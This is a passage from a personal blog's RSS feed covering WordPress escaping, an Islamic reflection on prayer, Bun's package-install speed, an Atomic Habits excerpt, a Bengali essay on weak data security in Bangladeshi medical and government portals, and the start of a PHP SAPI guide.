&lt;p&gt;The &lt;code&gt;tag_escape()&lt;/code&gt; function has been part of WordPress since version 2.8.0, and while you won&apos;t use it as frequently as other escaping functions, it&apos;s essential when dynamically generating HTML tags. Whether you&apos;re building theme frameworks, page builders, or flexible component systems, knowing when and how to apply &lt;code&gt;tag_escape()&lt;/code&gt; properly helps you create secure, robust WordPress applications.&lt;/p&gt;
</content:encoded><atom:updated>2025-09-20T00:00:00.000Z</atom:updated><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>দুআ তে শব্দচয়ন কেন জরুরি</title><link>https://hurayraiit.com/blog/dua-te-shobdo-choyon-kano-joruri/</link><guid isPermaLink="true">https://hurayraiit.com/blog/dua-te-shobdo-choyon-kano-joruri/</guid><description>দুআতে সঠিক শব্দচয়ন কেন জরুরি — রাসুলুল্লাহ ﷺ-এর হাদিস ও কুরআনের আলোকে ইউসুফ আলাইহিস সালামের ঘটনা থেকে গুরুত্বপূর্ণ শিক্ষা।</description><pubDate>Fri, 19 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;নিচের &lt;a href=&quot;https://www.facebook.com/share/p/1DBFiYtHwU/&quot;&gt;পোস্টটি&lt;/a&gt; লিখেছেন রানা শাকুর ভাইয়া তার &lt;a href=&quot;https://www.facebook.com/ranashakurr&quot;&gt;ফেসবুক প্রোফাইলে&lt;/a&gt;।&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;দুআ তে শব্দচয়ন কেন জরুরি।&lt;/p&gt;
&lt;p&gt;একবার রাসূল্লাল্লাহ ﷺ এক ব্যক্তিকে দেখতে এলেন। রোগে সে ব্যক্তি একেবারে চড়ুই পাখির বাচ্চার ন্যায় ক্ষীণ হয়ে গেছে।&lt;/p&gt;
&lt;p&gt;রাসূল্লাল্লাহ ﷺ লোকটিকে বললেন, তুমি কি রবের কাছে নির্দিষ্ট করে কোন কিছু প্রার্থনা করেছ?&lt;/p&gt;
&lt;p&gt;সে বলল, আমি দু’আয় বলে থাকি “হে আল্লাহ! আপনি আখিরাতে আমাকে যে শাস্তি দিবেন দুনিয়াতেই আপনি আমাকে সত্বর তা দিয়ে দিন।”&lt;/p&gt;
&lt;p&gt;রাসূল্লাল্লাহ ﷺ বললেন, সুবাহান আল্লাহ! তুমি তো তা বইতে সক্ষম নও এবং তা সহ্য করতে পারবে না। তুমি এই কথা কেন বললে না যে – “হে আল্লাহ! দুনিয়াতেও আপনি আমাকে কল্যাণ দিন, আখিরাতেও কল্যাণ দিন। আর আমাকে রক্ষা করুন জাহান্নামের আযাব থেকে।”&lt;/p&gt;
&lt;p&gt;ইউসুফ &apos;আলাইহি সালাম দীর্ঘ দিন জেলখানায় থাকার পর আল্লাহর কাছে প্রার্থনা করলেন, “হে আমার রব, আপনি আমাকে দীর্ঘ দিন জেলে রেখেছেন।”&lt;/p&gt;
&lt;p&gt;আল্লাহ তা&apos;য়ালা উত্তর দিলেন তুমি জেলে যেতে চেয়েছিলে, তাই আমরা তোমাকে জেলে দিয়েছি। তুমি যদি কল্যাণ চাইতে তাহলে সেটাই তোমার জন্য নির্ধারিত করতাম।&lt;/p&gt;
&lt;p&gt;এ প্রসঙ্গে আল্লাহ তা&apos;য়ালা পবিত্র কুরআন এ বলেন, “ইউসুফ বলল, হে আমার রাব্ব! এই নারীরা আমাকে যার প্রতি আহবান করছে তা অপেক্ষা কারাগার আমার কাছে অধিক প্রিয়।” [সূরা ইউসুফ :৩৩]&lt;/p&gt;
&lt;p&gt;তাই আমরা যখন আল্লাহর কাছে চাইব, তখন শব্দচয়নে সাবধান অবলম্বন করব; কারণ শব্দচয়ন যথার্থ না হলে আমরা যা মঙ্গল মনে করছি তা হয়ত আমাদের জন্য পরীক্ষা বা আযাব হিসাবে কবুল হয়ে ফেরত আসবে। কারণ বান্দা যা চায় আল্লাহ তা&apos;য়ালা তাই দেন।&lt;/p&gt;
</content:encoded><atom:updated>2025-09-19T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Bun Install Deep Dive: Speed &amp; Optimization Secrets</title><link>https://hurayraiit.com/blog/bun-install-deep-dive-optimizations-that-redefine-js-package-management/</link><guid isPermaLink="true">https://hurayraiit.com/blog/bun-install-deep-dive-optimizations-that-redefine-js-package-management/</guid><description>A deep dive into how bun install achieves up to 17x faster package installation than npm or yarn using Zig, fewer syscalls, and smarter binary caching.</description><pubDate>Sun, 14 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;🐇 &lt;strong&gt;Bun is super fast&lt;/strong&gt; – &lt;code&gt;bun install&lt;/code&gt; is way quicker than npm, pnpm, or yarn (up to 17× faster!).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;⚡ &lt;strong&gt;Old bottlenecks are gone&lt;/strong&gt; – today’s SSDs and fast internet mean system calls (asking the OS for stuff) are the new slowdown.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🔧 &lt;strong&gt;Less talking to the OS&lt;/strong&gt; – Bun makes fewer syscalls (like 165k vs millions for others). That saves tons of time.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🛠 &lt;strong&gt;Built in Zig&lt;/strong&gt; – a low-level programming language lets Bun talk directly to the OS, skipping Node’s slow middle layers.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;📦 &lt;strong&gt;Smart caching&lt;/strong&gt; – Bun saves package info in a compact binary format. No need to re-parse big JSON files every time.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🎁 &lt;strong&gt;Better untar &amp;amp; unzip&lt;/strong&gt; – uses &lt;code&gt;libdeflate&lt;/code&gt; and pre-sizes memory so unzipping is faster and smoother.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🧩 &lt;strong&gt;Memory done right&lt;/strong&gt; – instead of scattered data, Bun arranges info neatly (cache-friendly) so the CPU zips through it faster.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;📂 &lt;strong&gt;Clever file copying&lt;/strong&gt; – uses OS tricks like clonefile (macOS) and hardlinks (Linux) to copy files instantly without waste.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🏎 &lt;strong&gt;Multi-core power&lt;/strong&gt; – Bun spreads work across all CPU cores without slowdown from thread fights.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🎉 &lt;strong&gt;End result&lt;/strong&gt; – installs that used to take seconds (or minutes) now finish in milliseconds.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bun’s &lt;code&gt;bun install&lt;/code&gt; is designed to be dramatically faster than existing JavaScript package managers by treating package installation as a systems-programming problem rather than as a JavaScript problem. The Bun team reports average speedups of roughly 7× vs npm, 4× vs pnpm, and 17× vs yarn, and backs those claims with syscall and timing traces showing far fewer expensive system calls during installs. (&lt;a href=&quot;https://bun.com/blog/behind-the-scenes-of-bun-install&quot;&gt;Bun&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Original Blog: &lt;a href=&quot;https://bun.com/blog/behind-the-scenes-of-bun-install&quot;&gt;https://bun.com/blog/behind-the-scenes-of-bun-install&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Why does this matter? Historically, tools like Node.js were optimized for an era where I/O (disk and network) was the primary bottleneck. Node’s event loop and libuv thread pool were excellent for hiding long waits on slow disks or remote APIs. But hardware has changed: modern SSDs, fast networks, and multi-core CPUs mean the old bottlenecks disappeared and &lt;em&gt;system call overhead&lt;/em&gt; and poor memory/cache layout became the new limits. Every system call requires switching the CPU from user mode to kernel mode, which costs hundreds to a few thousand CPU cycles — enough to dominate an install that makes tens of thousands (or millions) of syscalls.&lt;/p&gt;
&lt;p&gt;Bun’s measurements tell the story: in their strace comparisons, bun made far fewer syscalls (e.g., ~165k) than npm (~997k), pnpm (~457k) or yarn (~4M), and finished installs several times faster. They also note that many Node-based tools generate lots of &lt;code&gt;futex&lt;/code&gt; calls (thread waits), which indicate contention and idle time inside thread pools — another source of slowdown. These concrete syscall counts and timings are central to Bun’s argument that minimizing syscalls and thread contention yields big wins. (&lt;a href=&quot;https://bun.com/blog/behind-the-scenes-of-bun-install&quot;&gt;Bun&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;The technical approach: Bun is written in Zig, a compiled language that can make &lt;em&gt;direct&lt;/em&gt; system calls. That eliminates the JavaScript → libuv → thread pool → kernel pipeline and the repeated argument validation, string conversions, and cross-runtime messaging that add overhead for each file operation. With direct syscalls Bun reads files and performs kernel work with fewer intermediate layers, which yields much higher raw throughput of file operations (their internal test shows Bun processing many more &lt;code&gt;package.json&lt;/code&gt; files per second than Node.js). (&lt;a href=&quot;https://bun.com/blog/behind-the-scenes-of-bun-install&quot;&gt;Bun&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Beyond removing layers, Bun applies many low-level optimizations across the whole install pipeline. It caches package manifests in a compact binary format so repeated installs avoid JSON parsing and duplicate string allocations; this makes cached installs extremely fast. For tarball extraction, Bun buffers entire compressed files (most npm packages are small) and reads the gzip footer to pre-allocate the exact decompressed size, avoiding repeated buffer growth and copies, and it uses &lt;code&gt;libdeflate&lt;/code&gt; for faster decompression. These micro-optimizations together cut both CPU work and memory churn. (&lt;a href=&quot;https://bun.com/blog/behind-the-scenes-of-bun-install&quot;&gt;Bun&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Bun also redesigns in-memory data layout to be cache-friendly. Instead of many scattered JavaScript objects, it uses a Structure-of-Arrays layout: large contiguous buffers for package metadata, dependency lists, and strings. This improves CPU cache locality and reduces pointer-chasing, so traversing thousands of dependencies becomes far cheaper in CPU cycles. The lockfile format follows the same idea to avoid heavy JSON parsing and allocations. (&lt;a href=&quot;https://bun.com/blog/behind-the-scenes-of-bun-install&quot;&gt;Bun&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;File copying — the part that often produces the most syscalls — is optimized by using OS-specific features. On macOS Bun uses &lt;code&gt;clonefile()&lt;/code&gt; (copy-on-write) so entire trees can be cloned with a single syscall; on Linux it prefers hardlinks, then ioctl-based reflinks, &lt;code&gt;copy_file_range&lt;/code&gt;, &lt;code&gt;sendfile&lt;/code&gt;, and only falls back to traditional read/write copying when necessary. These approaches keep data movement inside the kernel and avoid repeated user↔kernel mode switches. Benchmarks show the copy-on-write or hardlink backends are several times faster than naive copying. (&lt;a href=&quot;https://bun.com/blog/behind-the-scenes-of-bun-install&quot;&gt;Bun&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Finally, Bun leverages multi-core CPUs with a lock-free, work-stealing thread pool plus dedicated network threads and per-thread memory pools. That lets the installer use many cores in parallel without the heavy &lt;code&gt;futex&lt;/code&gt; contention that plagues naive multi-threaded designs. The result: far better CPU utilization and much shorter wall-clock times for real projects. (&lt;a href=&quot;https://bun.com/blog/behind-the-scenes-of-bun-install&quot;&gt;Bun&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;In short: Bun’s speed comes from rethinking the whole stack — avoid repeated syscalls, use native OS primitives for copying, cache and store manifests compactly, optimize decompression, and use cache-friendly in-memory layouts and real multicore scheduling. These are engineering choices aimed at modern hardware, and Bun shows that when you eliminate historical layers of overhead, package installation can go from many seconds or minutes down to (milli)seconds for common cases. (&lt;a href=&quot;https://bun.com/blog/behind-the-scenes-of-bun-install&quot;&gt;Bun&lt;/a&gt;)&lt;/p&gt;
</content:encoded><atom:updated>2025-09-14T00:00:00.000Z</atom:updated><category>linux</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Atomic Habits: Walk Slowly, But Never Backward</title><link>https://hurayraiit.com/blog/walk-slowly-but-never-backward-atomic-habits/</link><guid isPermaLink="true">https://hurayraiit.com/blog/walk-slowly-but-never-backward-atomic-habits/</guid><description>Inspired by Atomic Habits — why taking imperfect action beats endless planning, and how consistent small steps compound into remarkable long-term results.</description><pubDate>Sat, 13 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;On the first day of class, Jerry Uelsmann, a professor at the University of Florida, divided his film photography students into two groups.&lt;/p&gt;
&lt;p&gt;Everyone on the left side of the classroom, he explained, would be in the &quot;quantity group&quot;. They would be graded solely on the amount of work they produced. On the final day of class, he would tally the number of photos submitted by each student. One hundred photos would rate an A, ninety photos a B, eighty photos a C, and so on.&lt;/p&gt;
&lt;p&gt;Meanwhile, everyone on the right side of the room would be in the &quot;quality group&quot;. They would be graded only on the excellence of their work. They would only need to produce one photo during the semester, but to get an A, it had to be a nearly perfect image.&lt;/p&gt;
&lt;p&gt;At the end of the term, he was surprised to find that all the best photos were produced by the &lt;em&gt;quantity&lt;/em&gt; group. During the semester, these students were busy taking photos, experimenting with composition and lighting, testing out various methods in the darkroom, and learning from their mistakes. In the process of creating hundreds of photos, they honed their skills. Meanwhile, the &lt;em&gt;quality&lt;/em&gt; group sat around speculating about perfection. In the end, they had little to show for their efforts other than unverified theories and one mediocre photo.&lt;/p&gt;
&lt;p&gt;It is easy to get bogged down trying to find the optimal plan for change: the fastest way to lose weight, the best program to build muscle, the perfect idea for a side hustle. We are so focused on figuring out the best approach that we never get around to taking action. As Voltaire once wrote, &quot;The best is the enemy of the good.&quot;&lt;/p&gt;
&lt;p&gt;I refer to this as the difference between being in motion and taking action. The two ideas sound similar, but they&apos;re not the same. When you&apos;re in motion, you&apos;re planning and strategizing and learning. Those are all good things, but they don&apos;t produce a result.&lt;/p&gt;
&lt;p&gt;Action, on the other hand, is the type of behavior that will deliver an outcome. If I outline twenty ideas for articles I want to write, that&apos;s a motion. If I actually sit down and write an article, that&apos;s action. If I search for a better diet plan and read a few books on the topic, that&apos;s motion. If I actually eat a healthy meal, that&apos;s action.&lt;/p&gt;
&lt;p&gt;Sometimes motion is useful, but it will never produce an outcome by itself. It doesn&apos;t matter how many times you go talk to the personal trainer, that motion will never get you in shape. Only the action of working out will get the result you&apos;re looking to achieve.&lt;/p&gt;
&lt;p&gt;If motion doesn&apos;t lead to results, why do we do it? Sometimes we do it because we actually need to plan or learn more. But more often that not, we do it because motion allows us to feel like we&apos;re making progress without running the risk of failure. Most of us are experts at avoiding criticism. It doesn&apos;t feel good to fail or to be judged publicly, so we tend to avoid situations where that might happen. And that&apos;s the biggest reason why you slip into motion rather that taking action: you want to delay failure.&lt;/p&gt;
&lt;p&gt;It&apos;s easy to be in motion and convince yourself that you&apos;re still making progress. You think, &quot;&lt;em&gt;I&apos;ve got conversations going with four potential clients right now. This is good. We&apos;re moving in the right direction.&lt;/em&gt;&quot; Or, &quot;&lt;em&gt;I brainstormed some ideas for that book I want to write. This is coming together.&lt;/em&gt;&quot;&lt;/p&gt;
&lt;p&gt;Motion makes you feel like you&apos;re getting things done. But really you&apos;re just preparing to get something done. When preparation becomes a form of procrastination, you need to change something. You don&apos;t want to merely be planning. You want to be practicing.&lt;/p&gt;
&lt;p&gt;If you want to master a habit, the key is to start with repitition, not perfection. You don&apos;t need to map out every feature of a new habit. You just need to practice it. This is the first takeaway of the 3rd law: you just need to get your reps in.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Attribution: The above article is an excerpt from James Clear’s book Atomic Habits. All rights are reserved by the author and publisher. This content is reproduced here for educational and reference purposes only. For the full context and more insights, please refer to the original book.
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><atom:updated>2025-09-13T00:00:00.000Z</atom:updated><category>productivity</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>বাংলাদেশের মেডিক্যাল ও সরকারি সেবায় ডেটা সিকিউরিটির ভয়াবহ চিত্র</title><link>https://hurayraiit.com/blog/medical-data-security-bangladesh/</link><guid isPermaLink="true">https://hurayraiit.com/blog/medical-data-security-bangladesh/</guid><description>বাংলাদেশের মেডিক্যাল ও সরকারি পোর্টালে ডেটা নিরাপত্তার ভয়াবহ চিত্র — ডিরেক্টরি লিস্টিং ও API এক্সপোজারের বাস্তব উদাহরণ ও বিশ্লেষণ।</description><pubDate>Fri, 12 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;বাংলাদেশের স্বাস্থ্যখাতের উন্নয়ন চোখে পড়ার মতো। বড় বড় মেডিক্যাল প্রতিষ্ঠানগুলো আজ সারা দেশে ডায়াগনস্টিক সেন্টার তৈরি করেছে। আধুনিক প্রযুক্তির ব্যবহারও বাড়ছে প্রতিনিয়ত। রোগীরা ঘরে বসেই রিপোর্ট ডাউনলোড করতে পারছে, অনলাইনে ডাক্তার দেখানোর অ্যাপয়েন্টমেন্ট নিতে পারছে। কিন্তু প্রযুক্তি যত উন্নত হচ্ছে, ডেটা সিকিউরিটির ঝুঁকিও তত বৃদ্ধি পাচ্ছে। আমাদের দেশে অনেক সময়ই এসব ঝুঁকিকে অবহেলা করা হয়, যা পরবর্তীতে বড় ধরনের বিপর্যয় ডেকে আনে।&lt;/p&gt;
&lt;p&gt;আমার ব্যক্তিগত অভিজ্ঞতার কথাই ধরা যাক। প্রায় বছরখানেক আগে আমি মিরপুরে অবস্থিত দেশের অন্যতম শীর্ষস্থানীয় একটি মেডিক্যাল প্রতিষ্ঠানের ব্রাঞ্চে কিছু টেস্ট করাতে যাই। তাদের অনলাইন রিপোর্টিং সিস্টেম প্রথম দেখায় বেশ উন্নত মনে হলো। প্রক্রিয়াটি এমন—রোগীকে তার রিপোর্ট নাম্বার ও ফোন নাম্বার দিতে হয়, এরপর ফোনে একটি OTP আসে, যা দিয়ে ভেরিফাই করলে রিপোর্ট ডাউনলোডের সুযোগ পাওয়া যায়। রোগীদের জন্য এটি একটি সহজ ও কার্যকর ব্যবস্থা, অন্তত বাইরে থেকে তাই মনে হয়।&lt;/p&gt;
&lt;p&gt;কিন্তু বাস্তবতা ছিল ভয়ঙ্কর। তাদের সার্ভারে যেখানে সব রিপোর্ট PDF আকারে সংরক্ষণ করা হয়েছিল, সেই লোকেশন ছিল সম্পূর্ণ পাবলিক। অর্থাৎ, কেউ চাইলে সোজা সেই ঠিকানায় গিয়ে দেশের যেকোনো রোগীর রিপোর্ট ডাউনলোড করতে পারত। কোনো লগইন দরকার নেই, কোনো ভেরিফিকেশন দরকার নেই। শুধু সঠিক ডিরেক্টরিতে ঢুকলেই হল।&lt;br /&gt;
[টেকনিক্যাল পাঠকদের জন্য: ওয়েব সার্ভারে &lt;strong&gt;ডিরেক্টরি লিস্টিং&lt;/strong&gt; চালু ছিল।]&lt;/p&gt;
&lt;p&gt;একটু ভেবে দেখুন—একটি মেডিক্যাল রিপোর্ট মানে শুধু কয়েকটি সংখ্যা বা টেস্ট রেজাল্ট নয়। এর ভেতরে থাকে ব্যক্তির নাম, বয়স, ফোন নম্বর, এবং সবচেয়ে গুরুত্বপূর্ণ বিষয়—তার স্বাস্থ্য সংক্রান্ত সংবেদনশীল তথ্য। এগুলো যদি জনসম্মুখে চলে যায় তবে তা রোগীর ব্যক্তিগত গোপনীয়তা লঙ্ঘন করার পাশাপাশি বিভিন্ন ধরনের অপব্যবহারের সুযোগ তৈরি করে।&lt;/p&gt;
&lt;p&gt;পরবর্তীতে বিষয়টি আমি সরাসরি সেই ব্রাঞ্চের একজন ম্যানেজারকে জানাই। আধা ঘণ্টা ধরে ধৈর্য ধরে সবকিছু বুঝিয়ে বললাম। কিন্তু তার প্রতিক্রিয়া আমাকে হতবাক করল। তিনি বললেন, &lt;em&gt;“বুঝলাম, কিন্তু এতে আমাদের সমস্যা কোথায়?”&lt;/em&gt; একজন দায়িত্বশীল প্রতিষ্ঠানের প্রতিনিধি যখন এমন প্রতিক্রিয়া দেখান, তখন বোঝা যায় আমাদের দেশে সাইবার সিকিউরিটির গুরুত্ব এখনও সঠিকভাবে উপলব্ধি করা হয়নি। প্রতিদিন তাদের প্রতিষ্ঠানের বিভিন্ন ব্রাঞ্চে গড়ে ৮–১২ হাজার টেস্ট হতো। অর্থাৎ, প্রতিদিন হাজার হাজার নতুন রিপোর্ট অনিরাপদভাবে অনলাইনে প্রকাশিত হচ্ছিল। অথচ বিষয়টি তাদের কাছে তেমন গুরুত্ববহ মনে হয়নি।&lt;/p&gt;
&lt;p&gt;শেষ পর্যন্ত প্রায় এক বছর পর প্রতিষ্ঠানটি সমস্যাটি সমাধান করে। কিন্তু ততদিনে কত মানুষের ডেটা ফাঁস হয়েছে বা ব্যবহার হয়েছে তা কেউ জানে না। আমাদের দেশে এ ধরনের ঘটনার কোনো আনুষ্ঠানিক তদন্ত হয় না, কোনো পাবলিক রিপোর্ট প্রকাশিত হয় না। ফলে আসল ক্ষতির পরিমাণ আমরা কখনও জানতে পারি না।&lt;/p&gt;
&lt;p&gt;এই অভিজ্ঞতার পর আরেকটি সরকারি সেবা ব্যবহার করার সময় আরও হতাশার মুখোমুখি হই। সেটি হলো &lt;strong&gt;অভিযোগ প্রতিকার ব্যবস্থা (GRS)&lt;/strong&gt;। এটি একটি অনলাইন পোর্টাল যেখানে নাগরিকরা বিভিন্ন সরকারি সেবার বিরুদ্ধে অভিযোগ জানাতে পারে। কিন্তু API রিকোয়েস্ট পরীক্ষা করে দেখা গেল, এখন পর্যন্ত যারা এই সেবার মাধ্যমে অভিযোগ করেছে তাদের সব তথ্য উন্মুক্ত অবস্থায় আছে। শুধু নাম নয়, ঠিকানা, ফোন নম্বর, এমনকি জাতীয় পরিচয়পত্র (NID) পর্যন্ত সহজেই পাওয়া যাচ্ছিল। পরীক্ষার সময় আমি পরিচিত একজনের সম্পূর্ণ ব্যক্তিগত তথ্য চোখের সামনে পেয়ে যাই।&lt;/p&gt;
&lt;p&gt;এখন প্রশ্ন হলো, আমাদের দেশে ডেটা প্রাইভেসি কতটা গুরুত্ব পায়? &lt;a href=&quot;https://www.sc.com/bd/&quot;&gt;SCB&lt;/a&gt; ইস্যু নিয়ে সাম্প্রতিক সময়ে অনেক আলোচনা হলেও বাস্তবে আরও ভয়ঙ্কর নিরাপত্তা ঝুঁকি প্রতিদিন আমাদের চারপাশে ঘটছে। এগুলো প্রকাশ্যে আসছে না বলেই হয়তো আলোচনার কেন্দ্রবিন্দুতে আসতে পারছে না। অথচ এসব সমস্যার প্রভাব আরও ভয়াবহ হতে পারে।&lt;/p&gt;
&lt;p&gt;ডেটা সিকিউরিটি শুধু প্রযুক্তি বিশেষজ্ঞদের বিষয় নয়; এটি একটি মানবিক ও আইনি বিষয়ও বটে। কারও মেডিক্যাল রিপোর্ট, ব্যক্তিগত তথ্য বা জাতীয় পরিচয়পত্রের ডেটা জনসম্মুখে চলে গেলে তার সামাজিক মর্যাদা, পেশাগত অবস্থান এমনকি আর্থিক নিরাপত্তাও হুমকির মুখে পড়ে। উন্নত বিশ্বে তাই ডেটা সুরক্ষা একটি মৌলিক অধিকার হিসেবে বিবেচিত হয়।&lt;/p&gt;
&lt;p&gt;ডিজিটাল বাংলাদেশ গড়ার পথে আমাদের শুধু নতুন নতুন প্রযুক্তি প্রবর্তন করলেই চলবে না। বরং এর সঠিক নিরাপত্তা নিশ্চিত করাই সবচেয়ে জরুরি। প্রতিষ্ঠানগুলোকে তাদের ডেটা সিকিউরিটি ব্যবস্থার প্রতি কঠোর নজর দিতে হবে। সরকারি পর্যায়ে জরুরি ভিত্তিতে ডেটা প্রাইভেসি আইন বাস্তবায়ন এবং সাইবার সিকিউরিটি টিমের সক্ষমতা বাড়াতে হবে। নাগরিকদের ব্যক্তিগত তথ্য রক্ষা করা কোনো দয়া নয়, বরং এটি প্রতিষ্ঠান ও সরকারের নৈতিক ও আইনগত দায়িত্ব।&lt;/p&gt;
&lt;p&gt;বাংলাদেশ যদি সত্যিকার অর্থে একটি নিরাপদ ডিজিটাল রাষ্ট্র গড়তে চায়, তবে ডেটা সিকিউরিটিকে সর্বোচ্চ অগ্রাধিকার দিতে হবে। না হলে প্রতিদিন অজস্র মানুষের ব্যক্তিগত তথ্য ফাঁস হয়ে যাবে—আর আমরা হয়তো সেটাই স্বাভাবিক ভেবে নিতে শিখব।&lt;/p&gt;
</content:encoded><atom:updated>2025-09-12T00:00:00.000Z</atom:updated><category>security</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>What Is PHP SAPI? A Complete Beginner&apos;s Guide [2026]</title><link>https://hurayraiit.com/blog/php-sapi-beginners-guide/</link><guid isPermaLink="true">https://hurayraiit.com/blog/php-sapi-beginners-guide/</guid><description>What is PHP SAPI? A beginner&apos;s guide to understanding CLI, PHP-FPM, mod_php, and how PHP connects to web servers like Apache and Nginx behind the scenes.</description><pubDate>Thu, 11 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;When you first start learning PHP, it might feel like magic that a simple &lt;code&gt;.php&lt;/code&gt; file can display dynamic content in your browser or run tasks from the command line. The secret behind this “magic” is something called &lt;strong&gt;SAPI&lt;/strong&gt; — the Server API.&lt;/p&gt;
&lt;p&gt;In simple terms, SAPI is the bridge that connects PHP with the outside world, whether that’s a web server like Apache or Nginx, or the terminal on your computer.&lt;/p&gt;
&lt;p&gt;Understanding PHP SAPI is an important step for beginners, because it helps you see how PHP really works behind the scenes and why different environments (like CLI, PHP-FPM, or mod_php) behave differently.&lt;/p&gt;
&lt;h2&gt;Types of PHP SAPI&lt;/h2&gt;
&lt;h3&gt;CLI (Command Line Interface)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; PHP run from the terminal: &lt;code&gt;php script.php&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;When you use it:&lt;/strong&gt; scripting, cron jobs, build tools, migrations, tests.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;How it behaves:&lt;/strong&gt; Runs as your user in the shell, has access to STDIN/STDOUT, no HTTP server variables (e.g., &lt;code&gt;$_SERVER[&apos;REQUEST_METHOD&apos;]&lt;/code&gt; usually missing).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; Fast startup for CLI tasks, easy debugging, can have different &lt;code&gt;php.ini&lt;/code&gt; than web SAPI.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Not for serving web requests.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Detect:&lt;/strong&gt; &lt;code&gt;php_sapi_name()&lt;/code&gt; returns &lt;code&gt;cli&lt;/code&gt; or &lt;code&gt;PHP_SAPI === &apos;cli&apos;&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;[ Terminal / Shell ]
        |
        v
  [ PHP CLI (SAPI: cli) ]
        |
        v
  [ PHP Engine ]
        |
        v
[ Your PHP Code Runs ]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP Built-in Server (cli-server)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; A tiny web server bundled with PHP for development: &lt;code&gt;php -S localhost:8080&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;When to use:&lt;/strong&gt; Local development and testing only.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;How it behaves:&lt;/strong&gt; Single-process, not optimized for production.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; Super simple to run and test apps without installing Apache/Nginx.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Not designed for production/scale.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Detect:&lt;/strong&gt; &lt;code&gt;php_sapi_name()&lt;/code&gt; -&amp;gt; &lt;code&gt;cli-server&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;User
  |
  v
$ php -S localhost:8000   (runs single php process)
  |
  v
[Built-in web server process with cli-server SAPI]
  |
  v
routes request -&amp;gt; Zend Engine executes PHP script -&amp;gt; response
  |
  v
Browser
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CGI and FastCGI&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; Classic way web servers call external programs to generate HTTP responses. CGI typically starts a process for each request. &lt;code&gt;cgi-fcgi&lt;/code&gt; is a FastCGI-style naming.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;When you see it:&lt;/strong&gt; Older setups or some quick host configs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;How it behaves:&lt;/strong&gt; Pure CGI creates a fresh process per request (slow). FastCGI keeps processes around (faster).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; Simple standard. FastCGI improves speed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
